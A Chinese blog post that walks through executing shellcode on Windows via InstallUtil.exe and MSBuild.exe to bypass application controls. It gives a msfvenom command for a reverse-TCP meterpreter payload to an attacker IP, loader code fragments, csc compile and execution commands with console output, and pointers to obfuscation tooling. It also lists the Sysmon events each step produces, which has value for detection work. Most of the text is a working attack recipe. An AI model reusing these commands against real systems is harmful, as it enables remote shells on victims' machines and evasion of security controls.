美文网首页
在Windows上执行恶意代码 by InstallUtil &

在Windows上执行恶意代码 by InstallUtil &

作者: jjf012 | 来源:发表于2019-02-28 17:41 被阅读0次

    InstallUtil

    这里获取cs文件 https://gist.github.com/Arno0x/efb32d9329270d72ec376c17ff64cba0

    生成c#格式的shellcode
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.142 LPORT=4444 -f csharp > 2.cs

    然后代码合体

    public class Sample:System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            byte[] shellcode = 生成的shellcode
    

    csc.exe把cs文件编译成dll(后缀名无所谓)
    C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs

    执行InstallUtil.exe触发会话
    InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll

    注意:因为这里是32位的meterpreter,所以选择32位的csc进行编译。经测试,虽然64位csc能够编译,但是无法运行。
    注意.NetFrameWork 高版本可以兼容低版本的编译,所以选择最为常见的2.0版进行编译。

    C:\Windows\Microsoft.NET\Framework\v2.0.50727>csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs
    Microsoft (R) Visual C# 2005 编译器 版本 8.00.50727.4927
    用于 Microsoft (R) Windows (R) 2005 Framework 版本 2.0.50727
    版权所有(C) Microsoft Corporation 2001-2005。保留所有权利。
    
    
    C:\Windows\Microsoft.NET\Framework\v2.0.50727>InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll
    Microsoft (R) .NET Framework 安装实用工具版本 2.0.50727.5420
    版权所有(C) Microsoft Corporation。保留所有权利。
    
    然后就僵在这里不动了,除非`session -k`销毁会话
    

    其他
    可以使用GreatSCT中的installutil/meterpreter/rev_tcp.py自动化生成混肴内容的cs文件,不过只能用4.0的框架进行编译。

    sysmon日志

    1. 执行csc.exe,事件ID 1
    2. csc调用cvtres.exe进行编译,事件ID 1
    3. 编译生成了installUtil.dll,事件ID 11
    4. 执行InstallUtil.exe加载恶意文件,事件ID 1
    5. InstallUtil.exe发起了反弹连接,事件ID 3

    MsBuild

    注意: 只适用于.netframework 4.0以上版本(因为UsingTask的原因)

    这里下载xml文件用于加载shellcode https://gist.github.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17

    上一节msfvenom生成的cs文件可以接着用

              public override bool Execute()
              {
                byte[] shellcode = 生成的shellcode
    

    然后msbuild.exe C:\payload.xml获得会话

    C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild.exe c:\payload.xml
    Microsoft (R) Build Engine Version 4.0.30319.1
    [Microsoft .NET Framework, Version 4.0.30319.1]
    Copyright (C) Microsoft Corporation 2007. All rights reserved.
    
    Build started 2019/2/28 17:19:45.
    
    然后就僵在这里不动了,除非`session -k`销毁会话
    

    同样也可以使用GreatSCT中的msbuild/meterpreter/rev_tcp.py自动化生成混肴后的xml文件。

    Use MSBuild To Do More

    sysmon日志

    1. 执行msbuild.exe
    2. 编译生成了dll文件,C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.dll
    3. 编译生成了文件,C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.cmdline
    4. csc.exe被调用执行,"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.cmdline"
    5. cvtres.exe被调用执行,C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\2\RES741.tmp" "c:\Users\Administrator\AppData\Local\Temp\2\CSC740.tmp"
    6. Msbuild.exe发起了反弹连接。

    流程小结

    1. 生成原始shellcode代码。
    2. 编写加载代码,整合shellcode
    3. .netframework编译成dll文件或者可执行文件
    4. .netframework执行恶意代码

    相关文章

      网友评论

          本文标题:在Windows上执行恶意代码 by InstallUtil &

          本文链接:https://www.haomeiwen.com/subject/wxykuqtx.html